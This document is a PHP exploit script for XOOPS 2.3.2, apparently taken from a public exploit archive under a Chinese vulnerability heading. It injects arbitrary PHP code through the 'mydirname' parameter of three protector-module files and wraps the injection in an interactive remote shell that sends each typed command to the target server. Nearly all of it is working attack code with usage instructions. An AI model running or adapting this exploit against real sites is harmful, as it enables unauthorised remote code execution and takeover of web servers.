XOOPS mydirname参数多个PHP代码注入漏洞

                                                #!/usr/bin/php -q
<?php

/****************************************************************
* XOOPS 2.3.2 (mydirname) Remote PHP Code Execution Exploit    *
* by athos - staker[at]hotmail[dot]it                          *            
* http://xoops.org                                             *           
*                                                              *             
* thanks to s3rg3770 and The:Paradox                           *            
*                                                              *            
* works with register globals on                               *            
* note: this vuln is a remote php code execution               *              
*                                                              *   
* Directory (xoops_lib/modules/protector/)                     *
* onupdate.php?mydirname=a(){} [PHP CODE] function v           *
* oninstall.php?mydirname=a(){} [PHP CODE] function v          *
* notification.php?mydirname=a(){} [PHP CODE] function v       *
****************************************************************/

error_reporting(0);

list($cli,$host,$path,$num) = $argv;

if ($argc != 4) {  
    
    print "\n+--------------------------------------------------------------+\n";
    print "\r| XOOPS 2.3.2 (mydirname) Remote PHP Code Execution Exploit    |\n";    
    print "\r+--------------------------------------------------------------+\n";
    print "\rby athos - staker[at]hotmail[dot]it / http://xoops.org\n";
    print "\rUsage: php xpl.php [host] [path]\n\n";
    print "\rhost     + localhost\n";
    print "\rpath     + /XOOPS\n";
    exit;      
}         

exploit();

function exploit() {
    
    global $num;
    
    if ($num > 3) {
       die("\n$num isn't a valid option\n");
    } 
    else {
       yeat_shell();
    }
}

    
function yeat_shell() {
    
    while (1) {
        echo "yeat[php-shell]~$: "; 
        $exec = stripslashes(trim(fgets(STDIN)));  
        
        if (preg_match('/^(exit|--exit|quit|--quit)$/i',$exec)) die("\nExited\n");
        if (preg_match('/^(help|--help)$/i',$exec)) echo("\nExample: uname -a\n");
        if (preg_match('/^(about|--about)$/i',$exec)) echo("\nstaker[at]hotmail[dot]it\n");

        print data_exec($exec);     
    }
}


function data_exec($exec) {
    
    global $host,$path,$num;
    
    if ($num == 1) {
        $urlex = "/xoops_lib/modules/protector/onupdate.php?mydirname=a(){}";
    }
    
    if ($num == 2) {
        $urlex = "/xoops_lib/modules/protector/notification.php?mydirname=a(){}";
    }
    
    if ($num == 3) {
        $urlex = "/xoops_lib/modules/protector/oninstall.php?mydirname=a(){}";
    }
    
    $exec = urlencode($exec);
    $data .= "GET /{$path}/{$urlex}{$exec}function%20v HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Connection: close\r\n\r\n";
    
    $html = data_send ($host,$data);

    return $html;
}


function data_send ($host,$data) {
   
    if (!$sock = @fsockopen($host,80)) {
        die("Connection refused,try again!\n");
    }   fputs($sock,$data);
    
    while (!feof($sock)) { $html .= fgets($sock); }
    
    fclose($sock);
    return $html;
}